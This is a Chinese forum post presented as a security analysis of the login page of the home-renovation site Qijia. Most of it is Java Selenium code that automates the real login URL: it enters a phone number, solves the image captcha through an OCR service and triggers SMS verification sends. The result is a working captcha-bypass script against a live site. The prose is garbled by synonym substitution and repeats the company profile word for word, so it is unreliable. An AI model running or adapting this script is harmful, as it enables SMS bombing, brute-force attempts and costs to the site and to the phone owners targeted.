【齐家网-注册/登录安全分析陈诉】

莱莱  金牌会员 | 2024-10-10 05:21:26 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 879|帖子 879|积分 2637

媒介

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  • 暴力破解密码,造成用户信息泄露
  • 短信盗刷的安全问题,影响业务及导致用户投诉
  • 带来经济丧失,尤其是后付费客户,风险巨大,造成亏损无底洞

    以是大部分网站及App 都采取图形验证码或滑动验证码等交互办理方案, 但在呆板学习能力进步的当下,连百度这样的大厂都遭受攻击导致点名品评, 图形验证及交互验证方式的安全性到底如何? 请看详细分析
一、 齐家网PC 注册入口

简介:齐家网成立于2007年,首创人邓华金,员工超1000人。2018年7月12日,齐家网母公司齐屹科技成功登岸港交所主板(股票代码1739.HK)。
自成立以来,齐家网承袭“用户为先”理念,以提升行业服从和用户极致体验为己任,不停创新发展,深度打造融合线上线下的家装新模式,为家装用户提供更低价格、更高品格和更好服务的装修办理方案, 是用户在互联网寻求家装服务的优选平台。
齐家网业务涵盖家装平台、自营装修业务、齐家特许经营网络、供应链等多个子生态。目前,齐家网已经创建了一个发达发展的生态体系,聚集超过7500家优质装修服务商。

二丶 安全分析:

采用传统的图形验证码方式,详细为4个数字英文,ocr 识别率在 95% 以上。

测试方法:
采用模拟器+OCR识别
1. 模拟器交互

  1.         private static String INDEX_URL = "https://passport.jia.com/cas/login?service=https://i.jia.com/&app_id=500";
  2.         @Override
  3.         public RetEntity send(WebDriver driver, String areaCode, String phone) {
  4.                 RetEntity retEntity = new RetEntity();
  5.                 try {
  6.                         driver.get(INDEX_URL);
  7.                         driver.findElement(By.xpath("//a[@class='agree_yes']")).click();
  8.                         // 1 输入手机号
  9.                         WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("partnerPhone"), 1);
  10.                         phoneElemet.sendKeys(phone);
  11.                         // 获取验证码
  12.                         WebElement sendElement = driver.findElement(By.id("smsSendButton"));
  13.                         sendElement.click();
  14.                         // 同意并继续
  15.                         Thread.sleep(1 * 1000);
  16.                         driver.findElement(By.xpath("//a[@class='yes']")).click();
  17.                         // 2 获取图形验证码
  18.                         Thread.sleep(1 * 1000);
  19.                         String imgCode = null, imgUrl;
  20.                         byte[] imgByte = null;
  21.                         WebElement imgElement = driver.findElement(By.id("captchaImage"));
  22.                         for (int i = 0; i < 3; i++) {
  23.                                 imgUrl = imgElement.getAttribute("src");
  24.                                 imgByte = (imgUrl != null) ? GetImage.callJsByUrl(driver, imgUrl) : null;
  25.                                 int len = (imgByte != null) ? imgByte.length : 0;
  26.                                 imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;
  27.                                 boolean rcode = (imgCode != null && imgCode.length() >= 4) ? DigitFormat.isRcode(imgCode) : false;
  28.                                 if (rcode)
  29.                                         break;
  30.                                 imgElement.click();
  31.                                 Thread.sleep(1 * 1000);
  32.                         }
  33.                         if (imgCode == null || imgCode.length() < 4) {
  34.                                 System.out.println("imgCode=" + imgCode);
  35.                                 return retEntity;
  36.                         }
  37.                         // 3 输入识别出来的图形验证码
  38.                         WebElement codeInputElement = driver.findElement(By.id("smsCaptcha"));
  39.                         codeInputElement.sendKeys(imgCode);
  40.                         // 4 点击下一步
  41.                         Thread.sleep(1 * 1000);
  42.                         WebElement getCodeElement = ChromeDriverManager.waitElement(driver, By.xpath("//a[@class='submit']"), 20);
  43.                         if (getCodeElement != null) {
  44.                                 getCodeElement.click();
  45.                                 Thread.sleep(1 * 1000);
  46.                         }
  47.                         Thread.sleep(1500);
  48.                         String gtInfo = sendElement.getText();
  49.                         retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);
  50.                         if (gtInfo != null && gtInfo.contains("秒后重新发送")) {
  51.                                 retEntity.setRet(0);
  52.                                 ddddOcr.saveFile("Jia", imgCode, imgByte);
  53.                                 return retEntity;
  54.                         } else {
  55.                                 System.out.println("gtInfo=" + gtInfo);
  56.                                 ddddOcr.saveFile("Jia/err/", imgCode, imgByte);
  57.                         }
  58.                         return retEntity;
  59.                 } catch (Exception e) {
  60.                         System.out.println("phone=" + phone + ",e=" + e.toString());
  61.                         for (StackTraceElement ele : e.getStackTrace()) {
  62.                                 System.out.println(ele.toString());
  63.                         }
  64.                         return null;
  65.                 } finally {
  66.                         if (driver != null)
  67.                                 driver.manage().deleteAllCookies();
  68.                 }
  69.         }
  70.        
复制代码
2. 获取图形验证码

  1. public static byte[] callJsById(WebDriver driver, String id) {
  2.                 return callJsById(driver, id, null);
  3.         }
  4.         public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
  5.                 String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
  6.                 js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
  7.                 js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
  8.                 js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
  9.                 js += "let base64String = c.toDataURL();return base64String;";
  10.                 String src = ((JavascriptExecutor) driver).executeScript(js).toString();
  11.                 String base64Str = src.substring(src.indexOf(",") + 1);
  12.                 if (base64 != null) {
  13.                         base64.append(base64Str);
  14.                 }
  15.                 byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
  16.                 return vBytes;
  17.         }
复制代码
3.图形验证码识别(Ddddocr)

  1. public String getImgCode(byte[] bigImage) {
  2.                 try {
  3.                         if (ddddUrl == null) {
  4.                                 System.out.println("ddddUrl=" + ddddUrl);
  5.                                 return null;
  6.                         }
  7.                         long time = (new Date()).getTime();
  8.                         HttpURLConnection con = null;
  9.                         String boundary = "----------" + String.valueOf(time);
  10.                         String boundarybytesString = "\r\n--" + boundary + "\r\n";
  11.                         OutputStream out = null;
  12.                         URL u = new URL(ddddUrl);
  13.                         con = (HttpURLConnection) u.openConnection();
  14.                         con.setRequestMethod("POST");
  15.                         con.setConnectTimeout(10000);
  16.                         con.setReadTimeout(10000);
  17.                         con.setDoOutput(true);
  18.                         con.setDoInput(true);
  19.                         con.setUseCaches(true);
  20.                         con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
  21.                         out = con.getOutputStream();
  22.                         if (bigImage != null && bigImage.length > 0) {
  23.                                 out.write(boundarybytesString.getBytes("UTF-8"));
  24.                                 String paramString = "Content-Disposition: form-data; name="image"; filename="" + "bigNxt.gif" + ""\r\n";
  25.                                 paramString += "Content-Type: application/octet-stream\r\n\r\n";
  26.                                 out.write(paramString.getBytes("UTF-8"));
  27.                                 out.write(bigImage);
  28.                         }
  29.                         String tailer = "\r\n--" + boundary + "--\r\n";
  30.                         out.write(tailer.getBytes("UTF-8"));
  31.                         out.flush();
  32.                         out.close();
  33.                         StringBuffer buffer = new StringBuffer();
  34.                         BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
  35.                         String temp;
  36.                         while ((temp = br.readLine()) != null) {
  37.                                 buffer.append(temp);
  38.                         }
  39.                         String ret = buffer.toString();
  40.                         if (ret.length() < 1) {
  41.                                 System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());
  42.                         }
  43.                         return buffer.toString();
  44.                 } catch (Throwable e) {
  45.                         logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());
  46.                         return null;
  47.                 }
  48.         }
  49.        
  50.         public void saveFile(String factory, String imgCode, byte[] imgByte) {
  51.                 try {
  52.                         String basePath = ConstTable.codePath + factory + "/";
  53.                         File ocrFile = new File(basePath + imgCode + ".png");
  54.                         FileUtils.writeByteArrayToFile(ocrFile, imgByte);
  55.                 } catch (Exception e) {
  56.                         logger.error("saveFile() " + e.toString());
  57.                 }
  58.         }
复制代码
4. 图形OCR识别效果:


5. 测试返回效果:


三 丶测试陈诉 :


四丶结语

齐家网成立于2007年,首创人邓华金,员工超1000人。2018年7月12日,齐家网母公司齐屹科技成功登岸港交所主板(股票代码1739.HK)。
自成立以来,齐家网承袭“用户为先”理念,以提升行业服从和用户极致体验为己任,不停创新发展,深度打造融合线上线下的家装新模式,为家装用户提供更低价格、更高品格和更好服务的装修办理方案, 是用户在互联网寻求家装服务的优选平台。
齐家网业务涵盖家装平台、自营装修业务、齐家特许经营网络、供应链等多个子生态。目前,齐家网已经创建了一个发达发展的生态体系,聚集超过7500家优质装修服务商,作为头部的家装无提供商, 技能气力也应该不错,但采用的还是老一代的图形验证码已经掉队了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。
   许多人在短佩服务刚开始建立的阶段,可能不会在安全方面思量太多,来由有许多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。
  有一些来由虽然有原理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,丧失就越低。
  以是大家在安全方面还是要器重。(血淋淋的栗子!)#安全短信#
  戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 眼前已经形同虚设,以是谷歌公布退出验证码服务, 那么当全部的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

莱莱

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表